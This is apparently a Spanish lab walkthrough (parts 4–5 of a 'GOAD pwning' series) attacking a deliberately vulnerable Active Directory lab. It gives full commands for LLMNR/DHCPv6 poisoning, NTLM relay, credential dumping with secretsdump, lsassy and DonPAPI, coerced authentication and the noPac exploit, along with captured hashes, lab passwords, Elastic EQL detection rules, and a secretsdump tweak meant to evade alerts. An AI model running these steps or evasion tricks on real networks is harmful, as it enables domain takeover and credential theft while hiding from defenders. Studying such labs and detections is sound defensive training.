# 4. Envenenamiento y retransmisión
En la publicación anterior (GOAD pwning parte 3) comenzamos a explorar qué hacer cuando se obtiene una cuenta de usuario. Antes de empezar a explotar las máquinas virtuales con una cuenta de usuario, vamos a retroceder al estado inicial (sin cuenta de usuario) y ver qué podemos hacer con Responder, mitm6 y la retransmisión NTLM.
## Responder
Cuando comienzas un pentest sin credenciales, Responder es una herramienta indispensable. En un Active Directory estándar de Windows (sin modificaciones), te proporcionará:
* Nombres de usuario
* Hashes NetNTLMv1 (si el servidor es muy antiguo) / NetNTLMv2
* La capacidad de redirigir la autenticación (NTLM relay)
* ...
En el laboratorio, hay dos bots para simular solicitudes LLMNR, mDNS y NBT-NS. Un usuario tiene una contraseña débil pero sin privilegios de administrador. Otro usuario tiene privilegios de administrador pero utiliza una contraseña robusta.
Iniciemos Responder para ver si podemos obtener alguna información.
```
python3 Responder.py -I eth0
```
Minutos después, obtendremos el hash NetNTLMv2 de robb.stark.
El bot intenta establecer una conexión SMB con "bravos" en lugar de "braavos". Dado que el DNS no reconoce "bravos" por carecer de una 'a' adicional, Windows, por defecto, realiza una solicitud de difusión para encontrar el ordenador correspondiente. Con Responder, respondemos a esa consulta de difusión y decimos que este servidor somos nosotros, y así obtenemos la conexión del usuario.
Tras pasar algunos minutos adicionales —considerando que el bot eddard.stark está programado para ejecutarse cada 5 minutos y robb.stark cada 3 minutos— también logramos recibir una conexión de eddard.stark.
Los hashes NetNTLM no se pueden utilizar para realizar un ataque de Pass the Hash, pero es posible descifrarlos para obtener la contraseña.
Creamos un archivo llamado responder.hashes con los dos hashes identificados y procederemos a descifrarlos con Hashcat.
```
robb.stark::NORTH:f93f9fd6b01419a6:BB8E73B7BA2614A0D9DAC5EA97EE478E:010100000000000080B57CA1DDA1DA013FF3B63459B04A9B00000000020008004C0033003100580001001E00570049004E002D00430039004B003200310056004100490042003400460004003400570049004E002D00430039004B00320031005600410049004200340046002E004C003300310058002E004C004F00430041004C00030014004C003300310058002E004C004F00430041004C00050014004C003300310058002E004C004F00430041004C000700080080B57CA1DDA1DA01060004000200000008003000300000000000000000000000003000009826C44990C2985D063CC5B1A410E919533AB360A5842A76C276EB761973E3530A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F007300000000000000000000000000
eddard.stark::NORTH:c8959a8b58d2ea42:65FBC68F8632B4ABCCF0879B631CA4B6:010100000000000080B57CA1DDA1DA01EEA93CD5049A7B3300000000020008004C0033003100580001001E00570049004E002D00430039004B003200310056004100490042003400460004003400570049004E002D00430039004B00320031005600410049004200340046002E004C003300310058002E004C004F00430041004C00030014004C003300310058002E004C004F00430041004C00050014004C003300310058002E004C004F00430041004C000700080080B57CA1DDA1DA01060004000200000008003000300000000000000000000000003000009826C44990C2985D063CC5B1A410E919533AB360A5842A76C276EB761973E3530A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E00000000000000000000000000
```
```
hashcat -m 5600 --force -a 0 responder.hashes /usr/share/wordlists/rockyou.txt
```
Pronto obtenemos otra cuenta de usuario robb.stark:sexywolfy. Esto es suficiente para pwnear el dominio NORTH ya que robb.stark es un administrador de WINTERFELL (el controlador de dominio de NORTH).
La contraseña de eddard.stark es más robusta y no se puede romper con este método. Esto no significa que no podamos hacer nada. Lo que podríamos hacer es redirigir la conexión de eddard.stark a un servidor donde el SMB no esté firmado ;)
> Responder guarda los registros en Responder/logs, si necesitas mostrarlos de nuevo.
> Si deseas eliminar los registros capturados anteriormente (mensaje de "Skipping previously captured hash") elimina el archivo Responder/Responder.db.
## Retransmisión NTLM
### SMB sin firma
Comencemos a buscar SMB sin firma en el laboratorio y generemos una lista de objetivos IP.
```
nxc smb 192.168.10.10-23 --gen-relay-list smb_targets.txt
```
Ahora tenemos una lista de ordenadores SMB con `signing:False`, podemos empezar a intentar retransmitir la autenticación NTLM hacia ellas.
### Responder + ntlmrelayx a SMB
Antes de iniciar Responder para envenenar la respuesta a solicitudes LLMNR, mDNS y NBT-NS, debemos detener los servidores SMB y HTTP de Responder, ya que no queremos obtener los hashes directamente, sino retransmitirlos a ntlmrelayx.
```
sed -i 's/HTTP\s*=\s*On/HTTP = Off/' Responder.conf && cat Responder.conf | grep --color=never 'HTTP ='
sed -i 's/SMB\s*=\s*On/SMB = Off/' Responder.conf && cat Responder.conf | grep --color=never 'SMB ='
```
A continuación, iniciamos ntlmrelayx.
```
impacket-ntlmrelayx -tf smb_targets.txt -of netntlm -smb2support -socks
```
* `-tf` : lista de objetivos para retransmitir la autenticación
* `-of` : archivo de salida, esto mantendrá los hashes SMB capturados como lo hicimos antes con Responder, para descifrarlos más tarde
* `-smb2support` : soporte para SMB2
* `-socks` : iniciará un proxy SOCKS para usar la autenticación retransmitida
Iniciar Responder para redirigir las consultas al servidor de retransmisión:
```
python3 Responder.py -I eth0
```
Las conexiones envenenadas son retransmitidas a CASTELBLACK (192.168.10.22) y BRAAVOS (192.168.10.23) y se configura un proxy SOCKS para utilizar la conexión.
Como eddard.stark es un administrador de dominio de north.sevenkingdoms.local, tiene privilegios de administrador en CASTELBLACK.
Ahora podemos usar esta retransmisión para acceder al ordenador como administrador.
### Usar una retransmisión vía SOCKS con una cuenta de administrador
#### Secretsdump
Usa secretsdump para obtener la base de datos SAM, el inicio de sesión en caché LSA, la cuenta de máquina y alguna información de DPAPI.
```
proxychains4 -q impacket-secretsdump -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.10.22'
```
La base de datos SAM contiene las cuentas locales. Ignoraremos a vagrant, ya que es el usuario predeterminado para configurar el laboratorio.
La información importante aquí es el hash NT del usuario administrador local.
También obtuvimos la caché LSA de los últimos usuarios conectados (por defecto, Windows mantiene los últimos 10 usuarios), esto es útil para conectar al servidor incluso si el controlador de dominio no está accesible. Pero esas credenciales en caché pueden ser descifradas offline con Hashcat (muy lento).
Y para terminar también obtuvimos el hash de la cuenta de la máquina. (A veces no obtendrás cuentas de dominio útiles o ninguna información en absoluto en una máquina unida a un dominio, pero si obtienes este hash, tienes una cuenta en el dominio).
> Con una cuenta de máquina, puedes consultar el LDAP como cualquier otro usuario y también ejecutar el ingestor de BloodHound ;)
Detecciones de Elastic:
Elastic ha detectado un intento sospechoso de extraer información de los registros del sistema, señalado como "Suspicious Registry Hive Dump". Este tipo de actividad sugiere un esfuerzo por acceder a credenciales almacenadas, utilizando el proceso svchost.exe, un componente legítimo de Windows pero aquí usado de manera sospechosa.
Un atacante podría haber evitado esta alerta alterando el malware para que no coincida con los patrones detectados por los sistemas de seguridad.
Elastic ha detectado una actividad sospechosa de "Potential Remote Credential Access via Registry" donde se intentó acceder y potencialmente extraer datos del hive del SAM en el registro de Windows, utilizando el proceso svchost.exe y creando un archivo temporal específico (kTYTyMHN.tmp).
Consulta EQL:
```
file where host.os.type == "windows" and
event.action == "creation" and process.name : "svchost.exe" and
file.Ext.header_bytes : "72656766*" and user.id : ("S-1-5-21-*", "S-1-12-1-*") and file.size >= 30000 and
file.path : ("?:\\Windows\\system32\\*.tmp", "?:\\WINDOWS\\Temp\\*.tmp")
```
Referencias:
* https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
* https://www.elastic.co/security-labs/detect-credential-access
Para evitar generar la alerta de Elastic, un atacante podría cambiar la extensión del archivo .tmp a otra cosa, como .dat o incluso omitir la extensión:
Línea de código a modificar:
* https://github.com/fortra/impacket/blob/4e3e668a4ebf488545d1c666d15867d1410c271c/impacket/examples/secretsdump.py#L915
* /usr/local/lib/python3.11/dist-packages/impacket/examples/secretsdump.py
```python
tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.dat'
```
Este cambio es simple y directo, pero evita las 2 alertas generadas de "Potential Remote Credential Access via Registry". No obstante, es bueno considerar tácticas adicionales de evasión para protegerse contra sistemas de seguridad más sofisticados que podrían detectar comportamientos anómalos más generales.
#### Lsassy
Usa lsassy para obtener las credenciales almacenadas en el proceso LSASS.
La información de las cuentas de dominio se almacena en el proceso LSASS, por lo que hacer un volcado de este proceso puede darte más cuentas de dominio y privilegios.
[Lsassy](https://github.com/login-securite/lsassy) facilita el volcado remoto de LSASS, una alternativa más conveniente que realizar un procdump, descargar el archivo de volcado y ejecutar pypykatz o mimikatz localmente. Lsassy automatiza las tareas tediosas, como el volcado y la lectura del contenido de LSASS, optimizando además el tiempo de transferencia al volcar únicamente la parte relevante del archivo. Además, Lsassy también está disponible como un módulo de nxc.
```
proxychains4 -q lsassy --no-pass -d NORTH -u EDDARD.STARK 192.168.10.22
```
Detecciones de Elastic:
Esta acción ha generado 12 alertas.
Consulta EQL:
```
any where
(event.code : "4697" and
(winlog.event_data.ServiceFileName :
("*COMSPEC*", "*\\127.0.0.1*", "*Admin$*", "*powershell*", "*rundll32*", "*cmd.exe*", "*PSEXESVC*",
"*echo*", "*RemComSvc*", "*.bat*", "*.cmd*", "*certutil*", "*vssadmin*", "*certmgr*", "*bitsadmin*",
"*\\Users\\*", "*\\Windows\\Temp\\*", "*\\Windows\\Tasks\\*", "*\\PerfLogs\\*", "*\\Windows\\Debug\\*",
"*regsvr32*", "*msbuild*") or
winlog.event_data.ServiceFileName regex~ """%systemroot%\\[a-z0-9]+\.exe""")) or
(event.code : "7045" and
winlog.event_data.ImagePath : (
"*COMSPEC*", "*\\127.0.0.1*", "*Admin$*", "*powershell*", "*rundll32*", "*cmd.exe*", "*PSEXESVC*",
"*echo*", "*RemComSvc*", "*.bat*", "*.cmd*", "*certutil*", "*vssadmin*", "*certmgr*", "*bitsadmin*",
"*\\Users\\*", "*\\Windows\\Temp\\*", "*\\Windows\\Tasks\\*", "*\\PerfLogs\\*", "*\\Windows\\Debug\\*",
"*regsvr32*", "*msbuild*"))
```
La alerta de Elastic detectó la creación de un servicio de Windows con valores de comando sospechosos, típicos de herramientas de administración remota y scripts maliciosos. La detección se basa en patrones como nombres de archivos asociados a actividades malintencionadas, como "powershell", "cmd.exe", y "rundll32". Estos servicios, que suelen ejecutarse con privilegios de SYSTEM, pueden facilitar la escalada de privilegios y la persistencia en el sistema.
Para evitar generar esta alerta, un atacante podría usar nombres que no se ajusten a los patrones detectados por las reglas de seguridad.
La alerta fue generada porque el servicio instalado usó cmd.exe y rundll32.exe, ambos mencionados explícitamente en las reglas de detección de Elastic como indicativos de actividad sospechosa. Además, se operó en directorios vigilados, como \\Windows\\Temp\\.
Consulta EQL:
```
process where host.os.type == "windows" and event.type == "start" and
process.parent.name : "services.exe" and
process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe") and
/* Third party FP's */
not process.args : "NVDisplay.ContainerLocalSystem"
```
Elastic detectó una alerta debido al lanzamiento de una shell de sistema (cmd.exe) a través del proceso services.exe, ejecutado con permisos de sistema (SYSTEM), lo cual puede indicar un intento de escalada de privilegios.
Elastic ha detectado una alerta crítica por la ejecución sospechosa de cmd.exe bajo el proceso padre services.exe, ejecutado por la cuenta SYSTEM en el host castelblack. Este comportamiento es indicativo de un intento de ejecución maliciosa o escalada de privilegios utilizando servicios de Windows.
Elastic detectó una alerta crítica titulada "Credential Access via Known Utilities" debido al uso de rundll32.exe, ejecutado por cmd.exe bajo la cuenta SYSTEM en el host castelblack. Esta herramienta es comúnmente usada para manipular procesos y acceder a credenciales almacenadas, como las de LSASS.
Elastic ha detectado una alerta crítica llamada "Malicious Behavior Detection Alert: RunDLL32 with Unusual Arguments" debido al uso de rundll32.exe con argumentos inusuales, lanzado por cmd.exe bajo la cuenta SYSTEM en el host castelblack. rundll32.exe es conocido por ser utilizado por los atacantes para ejecutar código malicioso mediante argumentos que llaman a funciones específicas dentro de las DLLs. La presencia de argumentos inusuales es una señal de que puede estar siendo usado para actividades maliciosas.
Elastic ha detectado una alerta crítica llamada "Malicious Behavior Detection Alert: LSASS Memory dump via MiniDumpWriteDump". Esta alerta fue generada debido al uso de rundll32.exe para acceder y realizar un volcado de memoria del proceso LSASS (Local Security Authority Subsystem Service) usando la API de Windows MiniDumpWriteDump. Este comportamiento es típicamente malicioso ya que LSASS maneja las credenciales de usuario, y el volcado de su memoria puede permitir a un atacante obtener esas credenciales.
Consulta EQL:
```
api where host.os.type == "windows" and
process.Ext.api.name in ("OpenProcess", "OpenThread") and Target.process.name : "lsass.exe" and
not
(
process.executable : (
"?:\\ProgramData\\GetSupportService*\\Updates\\Update_*.exe",
"?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*\\MsMpEng.exe",
"?:\\Program Files (x86)\\Asiainfo Security\\OfficeScan Client\\NTRTScan.exe",
"?:\\Program Files (x86)\\Blackpoint\\SnapAgent\\SnapAgent.exe",
"?:\\Program Files (x86)\\eScan\\reload.exe",
"?:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe",
"?:\\Program Files (x86)\\Kaspersky Lab\\*\\avp.exe",
"?:\\Program Files (x86)\\N-able Technologies\\Reactive\\bin\\NableReactiveManagement.exe",
"?:\\Program Files (x86)\\N-able Technologies\\Windows Agent\\bin\\agent.exe",
"?:\\Program Files (x86)\\Trend Micro\\*\\CCSF\\TmCCSF.exe",
"?:\\Program Files*\\Windows Defender\\MsMpEng.exe",
"?:\\Program Files\\Bitdefender\\Endpoint Security\\EPSecurityService.exe",
"?:\\Program Files\\Cisco\\AMP\\*\\sfc.exe",
"?:\\Program Files\\Common Files\\McAfee\\AVSolution\\mcshield.exe",
"?:\\Program Files\\EA\\AC\\EAAntiCheat.GameService.exe",
"?:\\Program Files\\Elastic\\Agent\\data\\elastic-agent-*\\components\\metricbeat.exe",
"?:\\Program Files\\Elastic\\Agent\\data\\elastic-agent-*\\components\\osqueryd.exe",
"?:\\Program Files\\Elastic\\Agent\\data\\elastic-agent-*\\components\\packetbeat.exe",
"?:\\Program Files\\ESET\\ESET Security\\ekrn.exe",
"?:\\Program Files\\Fortinet\\FortiClient\\FortiProxy.exe",
"?:\\Program Files\\Huntress\\HuntressAgent.exe",
"?:\\Program Files\\LogicMonitor\\Agent\\bin\\sbshutdown.exe",
"?:\\Program Files\\Microsoft Security Client\\MsMpEng.exe",
"?:\\Program Files\\Qualys\\QualysAgent\\QualysAgent.exe",
"?:\\Program Files\\TDAgent\\ossec-agent\\ossec-agent.exe",
"?:\\Program Files\\Topaz OFD\\Warsaw\\core.exe",
"?:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe",
"?:\\Windows\\AdminArsenal\\PDQDeployRunner\\*\\exec\\Sysmon64.exe",
"?:\\Windows\\Sysmon.exe",
"?:\\Windows\\Sysmon64.exe",
"?:\\Windows\\System32\\csrss.exe",
"?:\\Windows\\System32\\MRT.exe",
"?:\\Windows\\System32\\msiexec.exe",
"?:\\Windows\\System32\\RtkAudUService64.exe",
"?:\\Windows\\System32\\wbem\\WmiPrvSE.exe",
"?:\\Windows\\SysWOW64\\wbem\\WmiPrvSE.exe"
) and process.code_signature.trusted == true
)
```
Referencia: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.001/T1003.001.md
Elastic ha detectado una alerta crítica llamada "LSASS Process Access via Windows API", debido al uso de rundll32.exe para acceder al proceso LSASS, potencialmente para realizar un volcado de memoria y acceder a credenciales almacenadas. La alerta se generó bajo la cuenta SYSTEM en el host castelblack y señala un intento de manipular directamente el proceso LSASS a través de la API de Windows, una táctica común para extracción de credenciales.
Elastic ha detectado una alerta de alto nivel denominada "Multiple Alerts in Different ATT&CK Tactics on a Single Host". Esta alerta indica que múltiples alertas asociadas con diferentes tácticas de ataque del framework MITRE ATT&CK han sido desencadenadas en un solo host, lo cual sugiere una alta probabilidad de que este host esté comprometido. La detección se basa en el análisis de umbrales que identifican cuando se activan múltiples alertas relacionadas con diversas fases de un ataque en un único host.
#### DonPAPI
Mi tercera herramienta favorita para recuperar secretos de Windows con Linux es [DonPAPI](https://github.com/login-securite/DonPAPI), que se utiliza para obtener información de contraseñas almacenadas de DPAPI y otros (archivos, navegador, tareas programadas...). Esta herramienta no toca LSASS, por lo que es más sigilosa y funciona la mayoría de las veces incluso si el AV y el EDR están habilitados en el objetivo.
```
proxychains4 -q DonPAPI -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.10.22'
```
Detecciones de Elastic:
La alerta de Elastic indica que se ha detectado un intento de volcar hives del registro de Windows mediante el proceso legítimo svchost.exe, una actividad que puede estar asociada con la extracción de secretos de credenciales.
DonPAPI nos da la contraseña almacenada para el servicio SQL sql_svc:YouWillNotKerboroast1ngMeeeeee
También obtenemos la contraseña de robb.stark debido a una tarea programada configurada en este ordenador también.
#### Smbclient
Conéctate directamente al servidor SMB con smbclient.
```
proxychains4 -q impacket-smbclient -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.10.22' -debug
```
#### Ejecución de código: smbexec o atexec
Con una conexión SOCKS, solo puedes usar smbexec o atexec. Ni wmiexec, psexec ni dcomexec funcionarán. (explicaciones aquí: https://github.com/SecureAuthCorp/impacket/issues/412).
```
proxychains4 -q impacket-smbexec -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.10.22' -debug
```
Detecciones de Elastic:
Se han generado 10 alertas.
Elastic detectó una alerta crítica de movimiento lateral potencial a través de SMBExec, debido al proceso cmd.exe iniciado por services.exe bajo la cuenta SYSTEM en el host "castelblack". Esto sugiere el uso de SMBExec para ejecutar comandos en otras máquinas de la red, comportamiento típico en pruebas ofensivas o ataques.
Consulta EQL:
```
process where host.os.type == "windows" and event.type == "start" and
(?process.Ext.token.integrity_level_name : "System" or
?winlog.event_data.IntegrityLevel : "System") and
(
process.name : "whoami.exe" or
(
process.name : "net1.exe" and not process.parent.name : "net.exe" and not process.args : ("start", "stop", "/active:*")
)
)
```
Elastic ha detectado un uso sospechoso del comando `whoami.exe` ejecutado desde `cmd.exe` por la cuenta SYSTEM en el host "castelblack", generando una alerta de bajo nivel sobre un posible comando de descubrimiento de cuentas. Este tipo de actividad puede indicar un intento de descubrimiento de información de usuario y sistema después de que un adversario ha logrado una escalada de privilegios, alineándose con las tácticas de descubrimiento (T1033) y escalada de privilegios (TA0004) del framework MITRE ATT&CK™.
Para evitar generar esta alerta, un atacante podría haber adoptado varias estrategias:
1. **Uso de cuentas menos privilegiadas**: Ejecutar comandos que no requieran altos niveles de privilegios desde cuentas de usuario regulares en lugar de la cuenta SYSTEM, para no levantar sospechas de actividad privilegiada.
2. **Camuflaje de la actividad**: Utilizar herramientas que emulan comportamientos legítimos, evitando el uso de herramientas de sistema conocidas como `whoami.exe` que pueden ser fácilmente detectadas por soluciones de seguridad.
La alerta de Elastic indica una actividad sospechosa donde cmd.exe se ejecutó a través de services.exe, una señal común de intento de escalar privilegios usando comandos del sistema. Este método es frecuentemente empleado por malware y pentesters para obtener privilegios de SYSTEM. El atacante ejecutó y posteriormente eliminó un script de batch, una práctica típica para realizar acciones maliciosas sin dejar huellas.
Consulta EQL:
```
process where host.os.type == "windows" and event.type == "start" and process.name : "whoami.exe" and
(
(
/* scoped for whoami execution under system privileges */
(
user.domain : ("NT *", "* NT", "IIS APPPOOL") and
user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20", "S-1-5-82-*") and
not ?winlog.event_data.SubjectUserName : "*$"
) and
not (
process.parent.name : "cmd.exe" and
process.parent.args : (
"chcp 437>nul 2>&1 & C:\\WINDOWS\\System32\\whoami.exe /groups",
"chcp 437>nul 2>&1 & %systemroot%\\system32\\whoami /user",
"C:\\WINDOWS\\System32\\whoami.exe /groups",
"*WINDOWS\\system32\\config\\systemprofile*"
)
) and
not (process.parent.executable : "C:\\Windows\\system32\\inetsrv\\appcmd.exe" and process.parent.args : "LIST") and
not process.parent.executable : (
"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\MonitoringHost.exe",
"C:\\Program Files\\Cohesity\\cohesity_windows_agent_service.exe"
)
) or
process.parent.name : ("wsmprovhost.exe", "w3wp.exe", "wmiprvse.exe", "rundll32.exe", "regsvr32.exe")
)
```
La alerta "Whoami Process Activity" se disparó porque el proceso whoami.exe, ejecutado por el usuario SYSTEM en la máquina castelblack, es sospechoso. Whoami.exe es una herramienta de Windows que muestra información del usuario actual. Esta actividad se considera sospechosa porque podría ser parte de un intento de reconocimiento por parte de un atacante para entender los privilegios y el entorno del sistema. La alerta está etiquetada como "Discovery" y "System Owner/User Discovery (T1033)" según MITRE ATT&CK.
La alerta indica que se ha detectado la instalación de un servicio sospechoso en un sistema Windows llamado "castelblack". Los servicios de Windows son críticos y pueden ser utilizados para actividades maliciosas. La regla de detección de Elastic busca patrones asociados con herramientas y comandos utilizados comúnmente en actividades maliciosas.
La alerta indica la detección de múltiples alertas relacionadas con diferentes fases de un posible ataque en un único host, según el marco de trabajo ATT&CK. Esto sugiere un riesgo significativo de compromiso del sistema, con una puntuación de riesgo de 73. Es crucial investigar la naturaleza y el alcance de estas alertas para tomar medidas inmediatas y mitigar cualquier amenaza potencial.
## mitm6 + ntlmrelayx a LDAP
Otra forma útil de envenenar la red es respondiendo a las solicitudes de DHCPv6 y estableciendo nuestro host como el servidor DNS predeterminado. Windows por defecto prefiere IPv6 sobre IPv4, por lo que podríamos capturar y envenenar la respuesta a la consulta DHCPv6 para cambiar el servidor DNS y redirigir las consultas a nuestra máquina con la herramienta [mitm6](https://github.com/dirkjanm/mitm6).
Vamos a iniciar mitm6 para envenenar DHCPv6 y obtener solicitudes DNS de los hosts.
Como nota al margen, he observado que podemos envenenar el controlador de dominio, pero después de eso, al DC no le importa y sigue usando su servidor DNS localhost.
Por lo tanto, debemos apuntar a servidores.
En este ejemplo, envenenaremos el servidor de braavos. Responderemos a las consultas de WPAD y retransmitiremos la consulta HTTP a LDAPS en meereen para añadir un ordenador con acceso delegado.
Primero necesitamos hacer pequeños cambios en la configuración de red de braavos.local (Editado: Ya no es necesario si hiciste la aprovisionamiento Ansible después del 18/08/2022)
Conéctate a braavos con khal.drogo:horse por RDP y cambia el servidor DNS del Ethernet a automático (arreglaré eso en los playbooks de ansible del laboratorio pronto, pero por ahora tendrás que hacerlo a mano). Cambia solo la primera conexión Ethernet a DNS automático.
Comienza el envenenamiento con mitm6 e inicia ntlmrelayx:
```
mitm6 -i vboxnet0 -d essos.local -d sevenkingdoms.local -d north.sevenkingdoms.local --debug
```
```
impacket-ntlmrelayx -6 -wh wpadfakeserver.essos.local -t ldaps://meereen.essos.local --add-computer relayedpccreate --delegate-access
```
Como podemos ver, el DNS ahora está envenenado.
Esperamos una consulta HTTP de WPAD para retransmitir la solicitud al LDAPS (puedes reiniciar la VM para envenenar y explotar sin esperar)
Se ha creado una nueva máquina con acceso delegado a Braavos$ porque envenenamos la cuenta de la máquina Braavos$ y puede establecer el msDS-AllowedToActOnBehalfOfOtherIdentity en la máquina creada.
Y podemos continuar con la explotación de RBCD igual que en el siguiente párrafo (con getST para llamar a s4u2proxy)
Si especificamos un directorio de botín, toda la información en el ldap se volcará automáticamente
```
impacket-ntlmrelayx -6 -wh wpadfakeserver.essos.local -t ldaps://meereen.essos.local -l /root/loot
```
Abre un RDP con essos.local/khal.drogo:horse
Cuando la retransmisión esté en marcha y funcionando, podemos obtener toda la información del dominio
> Otra cosa que también podríamos hacer es retransmitir a un servidor SMB, justo como lo hicimos con Responder (pero por ahora no hay ningún bot para hacerlo, así que tendrás que hacer la víctima envenenada tú mismo)
## Autenticación forzada de SMB + ntlmrelayx a ldaps con drop the mic
Podemos forzar una conexión desde el DC de meereen a nuestro host usando varios métodos (PetitPotam, PrinterBug, DFSCoerce). Para forzar una autenticación sin elegir entre los diferentes métodos, podemos usar la herramienta todo en uno que acaba de aparecer, [Coercer](https://github.com/p0dalirius/Coercer).
Como se explica perfectamente en el blog de hackndo (en.hackndo.com/ntlm-relay) y en The Hacker Recipes (www.thehacker.recipes/ad/movement/ntlm/relay), no puedes retransmitir una conexión SMB a una conexión LDAP(S) sin usar CVE-2019-1040, también conocido como remove-mic.
Inicia la retransmisión con remove-mic al LDAPS de meereen.essos.local.
```
impacket-ntlmrelayx -t ldaps://meereen.essos.local -smb2support --remove-mic --add-computer removemiccomputer --escalate-user removemiccomputer$ --delegate-access
```
Ejecuta la autenticación forzada en braavos (braavos es un servidor Windows 2016 actualizado, así que PetitPotam no autenticado no funcionará aquí)
```
python3 Coercer.py coerce -u khal.drogo -d essos.local -p horse -t braavos.essos.local -l 192.168.10.5
```
El ataque funcionó, ahora podemos explotar braavos con RBCD.
```
impacket-getST -spn HOST/BRAAVOS.ESSOS.LOCAL -impersonate Administrator -dc-ip 192.168.10.12 'ESSOS.LOCAL/removemiccomputer$:tU9>QD2uc53s,Nb'
```
Y usar ese ticket para recuperar secretos.
```
export KRB5CCNAME=/home/kali/Administrator.ccache
impacket-secretsdump -k -no-pass ESSOS.LOCAL/'Administrator'@braavos.essos.local
```
Como es de esperar, secretsdump generará un par de alertas en Elastic, que ya hemos visto en ocasiones anteriores.
En la próxima vez, volveremos a la explotación con una cuenta de usuario (sAMAccountName, PrintNightmare): GOAD pwning parte 5.
# 5. Explotación con usuario
En la entrada anterior (GOAD pwning parte 4) experimentamos con la autenticación NTLM mediante retransmisión. En este artículo, continuaremos explorando qué se puede hacer utilizando una cuenta de dominio válida.
Aquí solo intentaremos la explotación de sAMAccountName y PrintNightmare, ya que MS14-068 ahora es demasiado antiguo (máximo Windows Server 2012 R2).
## sAMAccountName (noPac)
A finales de 2021, cuando todos estaban preocupados por la vulnerabilidad "Log4Shell" de Log4j, surgió otra vulnerabilidad con menos ruido: CVE-2021-42287.
No volveré a explicar la vulnerabilidad, ya que está maravillosamente descrita aquí por Charlie Clark: https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
El ataque fue automatizado en Windows por cube0x0: https://github.com/cube0x0/noPac
Y en Linux por shutdown: https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing (todavía en Pull Request de impacket: https://github.com/SecureAuthCorp/impacket/pull/1202 y https://github.com/SecureAuthCorp/impacket/pull/1224)
Como gran aficionado a Linux y Exegol, intentaremos el método de Linux :)
Comprobar si es vulnerable a noPac:
```
nxc smb winterfell.north.sevenkingdoms.local -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M nopac
```
### Comprobar si podemos añadir un ordenador
Para este ataque, usaré la cuenta `north/jon.snow:iknownothing` que obtuvimos anteriormente con Kerberoasting en la parte 3.
Encontremos un módulo de nxc para comprobar la cuota de la cuenta de máquina.
```
nxc ldap -L
```
```
nxc ldap winterfell.north.sevenkingdoms.local -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M maq
```
### Preparar Impacket
Antes de explotar con impacket, preparemos nuestra versión de impacket con la Pull Request que queremos.
Clonar el repositorio impacket:
```
git clone https://github.com/SecureAuthCorp/impacket myimpacket
```
Crear nuestra rama:
```
cd myimpacket
git checkout -b mydev
```
Crear un entorno virtual para no interferir con el entorno del host e instalar el repositorio que acabamos de clonar:
```
python3 -m virtualenv myimpacket
source myimpacket/bin/activate
python3 -m pip install .
```
Obtener las Pull Requests que queremos (puedes encontrar una gran lista de PR interesantes para fusionar en el script de instalación de Exegol: https://github.com/ShutdownRepo/Exegol-images/blame/main/sources/install.sh#L286):
```
git fetch origin pull/1224/head:1202
```
Configurar tu identidad en Git para que funcione el merge:
```
git config user.name "Juan Pérez"
git config user.email "juan.perez@example.com"
```
Fusionar las Pull Requests en nuestra rama:
```
git merge -X theirs 1202
wget https://raw.githubusercontent.com/fortra/impacket/0c74df065eeffde8c24edb56e880ab49c82530b7/examples/renameMachine.py -O examples/renameMachine.py
```
Reordenar la entrada del PATH para cargar nuestro bin de pyenv antes que los demás en el $PATH (esto es necesario en zsh, en Bash toma directamente nuestros bins de pyenv):
```
rehash
```
Ahora comprobemos que tenemos todos los binarios y opciones que queremos:
```
python3 renameMachine.py
python3 getST.py
```
Excelente, ahora estamos usando la última versión de impacket con las Pull Requests necesarias para este ataque por Shutdown (@_nwodtuhs) :)
### Explotación
Lo que haremos es añadir un ordenador, borrar el SPN de ese ordenador, renombrar el ordenador con el mismo nombre que el DC, obtener un TGT para ese ordenador, restablecer el nombre del ordenador a su nombre original, obtener un ticket de servicio con el TGT que obtuvimos previamente y finalmente DCSync :)
Añadir un nuevo ordenador:
```
python3 addcomputer.py -computer-name 'samaccountname$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'
```
Borrar los SPNs de nuestro nuevo ordenador (con la herramienta [krbrelayx](https://github.com/dirkjanm/krbrelayx) addspn de dirkjanm)
```
python3 addspn.py --clear -t 'samaccountname$' -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' 'winterfell.north.sevenkingdoms.local'
```
Renombrar el ordenador (ordenador -> DC):
```
python3 renameMachine.py -current-name 'samaccountname$' -new-name 'winterfell' -dc-ip 'winterfell.north.sevenkingdoms.local' north.sevenkingdoms.local/jon.snow:iknownothing
```
Detecciones de Elastic:
Este alerta de Elastic indica que se ha detectado un evento sospechoso de cambio de nombre de cuenta de máquina, lo cual puede indicar un intento de explotar la vulnerabilidad CVE-2021-42278 para escalar privilegios de un usuario de dominio estándar a un usuario con privilegios de administrador de dominio.
CVE-2021-42278 es una vulnerabilidad de seguridad que permite a potenciales atacantes suplantar un controlador de dominio a través del spoofing del atributo samAccountName.
Consulta EQL:
```
iam where event.action == "renamed-user-account" and
/* machine account name renamed to user like account name */
winlog.event_data.OldTargetUserName : "*$" and not winlog.event_data.NewTargetUserName : "*$"
```
La consulta EQL busca eventos de renombrado de cuentas de usuario en entornos Windows, especialmente cuando una cuenta de máquina (que termina con un signo de dólar "$") se ha renombrado a un nombre de usuario que se asemeja a una cuenta de usuario normal.
En este caso, se renombra la cuenta de máquina ('samaccountname$') a un nombre de usuario normal ('winterfell').
Referencias:
